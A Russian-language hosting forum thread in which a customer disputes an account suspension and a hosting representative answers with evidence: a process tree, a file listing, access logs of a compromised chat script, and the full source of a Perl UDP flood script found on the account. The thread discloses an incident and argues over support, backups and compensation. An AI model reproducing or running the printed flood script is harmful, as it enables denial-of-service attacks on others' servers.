Прошу разрешить спорный вопрос.

Естественно на виртуальном хостинге я не держу сайты :). Я просто про размер убытка в случае простоя. И потом, клиенты, которые с этим столкнутся, в конце концов приходят к нам с претензиями. Ты его продвигаешь - и на тебе. От такой фигни никто не застрахован.

Так если в движок взломали, к примеру - какая ж вина простого юзера в этом? На то и техподдержка - заблокировав, объяснить причину, дать логи. Перечислить требуемые действия.

Отмалчиваться, как видно из цитаты ТС - непрофессионально. В конце концов могли бы сочинить автоответ для таких случаев. Причем, думаю, в дальнейшем такие случаи учащаться будут. 🙅

Естественно.

По мне, так даже позорно писать, что на хостинге за 200-300 р. в месяц у вас проблемы с сайтом, который теряет 700$ в сутки.

Для таких сайтов лучше продумывать всё до мелочей, иметь сервер (может даже не один), администратора и т.п. Чтобы никакие проблемы хостера вас не касались.

Архивные копии - это всё-таки забота пользователя. То, что они не в курсе, что без этого нельзя, их беда - и вот наглядный пример, почему. Тут нужно посочувствовать (если это первый раз, когда люди наступают на эти грабли).

Могу посоветовать всеми каналами искать таинственного менеджера и регулярно, если нет обновлений, напоминать тех.поддержке, что вы не морешить вопрос, если не знаете, о какой такой атаке речь.

А тем временем приобрести хостинг где-то ещё и подготовить всё для переноса. Не ждите у моря погоды.

Тех.поддержка действительно ведёт себя странно; хотя для того, чтобы составить мнение, нужно и другую сторону выслушать.

Страна непуганых тостеров.

ТС, а вы решайте проблему быстрее, тел. 8-800-333-1081, звонки должны быть бесплатны.

Заодно спросите, когда компенсировать простой будете, если услышите бред, пишите в Роскомнадзор (www.rsoc.ru) жалобу, их начнут проверять, вот тут им сладко начнется с выездными проверками.

Разрешите пару слов по теме,

Первая проблема данного пользователя была зафиксирована 17 января, после чего - пользователь получил уведомление о данной проблеме и требование устранить уязвимость.

     |       |-httpd(nobody)---httpd(xxxxxxxx)---sh---perl



perseus xxxxx # ls -la ...



-rw-r--r--  1 xxxxxx customers  1025 Oct 29  2006 udp.pl

-rw-r--r--  1 xxxxxx customers   552 Sep 24 19:04 udp.tar

cat x/udp.pl (чур не пользоваться 🚬)

#!/usr/bin/perl





use Socket;



$ARGC=@ARGV;



if ($ARGC !=3) {

 printf "$0 <ip> <port> <time>\n";

 printf "for any info vizit http://hacking.3xforum.ro/ \n";

 exit(1);

}



my ($ip,$port,$size,$time);

 $ip=$ARGV[0];

 $port=$ARGV[1];

 $time=$ARGV[2];



socket(crazy, PF_INET, SOCK_DGRAM, 17);

    $iaddr = inet_aton("$ip");



printf "Amu Floodez $ip pe portu $port \n";

printf "daca nu pica in 10 min dai pe alt port \n";



if ($ARGV[1] ==0 && $ARGV[2] ==0) {

 goto randpackets;

}

if ($ARGV[1] !=0 && $ARGV[2] !=0) {

 system("(sleep $time;killall -9 udp) &");

 goto packets;

}

if ($ARGV[1] !=0 && $ARGV[2] ==0) {

 goto packets;

}

if ($ARGV[1] ==0 && $ARGV[2] !=0) {

 system("(sleep $time;killall -9 udp) &");

 goto randpackets;

}



packets:

for (;;) {

 $size=$rand x $rand x $rand;

 send(crazy, 0, $size, sockaddr_in($port, $iaddr));

}



randpackets:

for (;;) {

 $size=$rand x $rand x $rand;

 $port=int(rand 65000) +1;

 send(crazy, 0, $size, sockaddr_in($port, $iaddr));

}

Файлы сайтов были перенесены в папку JUST_FTP, аккаунт при этом не блокировался.

Здесь обнаруживается, что пользователь не в курсе, совсем.

----------------------

Время:	18.01.2011 07:35:44

Размещали сайты в /JUST_FTP вы, а не мы. Мы не трогали вообще ничего. Понимаете, я просто владею сайтами, и не знаю, как и что переносится. Пока я буду искать исполнителя для этого форсмажора, то время уйдет непонятно сколько. Сайты забанит Яндекс и я понесу убытки.

Неужели нельзя сообщить С КАКИМ ИМЕННО САЙТОМ ПРОБЛЕМА и запустить остальные?

Хост ЦМС дико нервничает, что в их движке дырка, тоже хочет знать где именно. 

----------------------

Далее, наш сотрудник помог вернуть сайты в рабочее состояние

===================================

От:	Евгений Пленов (техническая поддержка)

Время:	18.01.2011 08:10:20

	

Расположение xxx.com/ поправили. Проверьте пожалуйста сейчас.

Если с остальными есть проблемы укажите пожалуйста где именно. От нас они безошибочно работают.

===================================

Через некоторое время - проблема повторилась, пользователь был закрыт.

Проблем с доступом к данным у пользователя быть не должно. Возврат остатка средств осуществляется по типовой схеме.

В результате, все просто

www.x.com 188.173.208.44 - - [06/Feb/2011:18:45:32 +0300] "POST /chat/data.php HTTP/1.0" 200 1195 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:46:00 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:46:46 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:48:06 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:50:21 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:51:31 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:52:11 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:52:51 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:54:02 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:54:47 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:55:32 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:56:52 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:57:27 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

www.x.com 188.173.208.44 - - [06/Feb/2011:18:58:22 +0300] "POST /chat/data.php HTTP/1.0" 200 1226 "http://www.x.com/chat/data.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10"

В целом, клиента конечно можно понять, он заплатил деньги и получил проблемы. Вероятно стоит более качественно выбирать "партнеров" для "бизнеса"? Возможно.

Что касается компенсации - мы ее предоставляем только в том случае, когда клиент имеет проблему по нашей вине (человеческий фактор, аппаратная часть).

И, успехов всем нам.

А что вам мешало предоставить эти данные клиенту? Насколько я понял, проблемы именно в отмалчивании ТП? С публикацией на форуме проблем нет ведь.

Судя по переписке и предоставленным данным хостер далеко не молчал, но и помогал устранить проблему бесплатно в первый раз - это очень похвально для хостера...

Ну а по-поводу бэкапов, так как и на многих хостингах - это, как правило, забота клиента, как уже тут об этом писали. Хостер делает бэкап в технических целях, для восстановления сайтов, если их падение или порча произошла по его вине или же по просьбе клиента восстанавлиевает последнюю копию если клиент что-то напортачил... :))) А вот уже выдача бэкапов на сторону - думаю это нужно оговаривать отдельно...

Хотя кто его знает, что, как и смотря кому придет в голову... :)))

Что вам мешает предоставить клиенту бэкап сайтов и баз, тем более как я полагаю они небольшие. Будьте людьми то.

Два вопроса:

- прислали ли вы (точнее, ТП) всё это клиенту, когда он спросил, что с сайтами?

- передадите ли клиенту все данные сайта (файлы + дампы БД)?

Сохранять олимпийское спокойствие и ангельское терпение, когда твой сайт отключают, дано немногим. Это не к тому, что говорить с ТП резким тоном правильно - к тому, что не проще ли было сразу пояснить - вот скрипт, вот логи, а вот ваши данные - решайте проблему или меняйте хостинг, на ваш выбор.

Спасибо.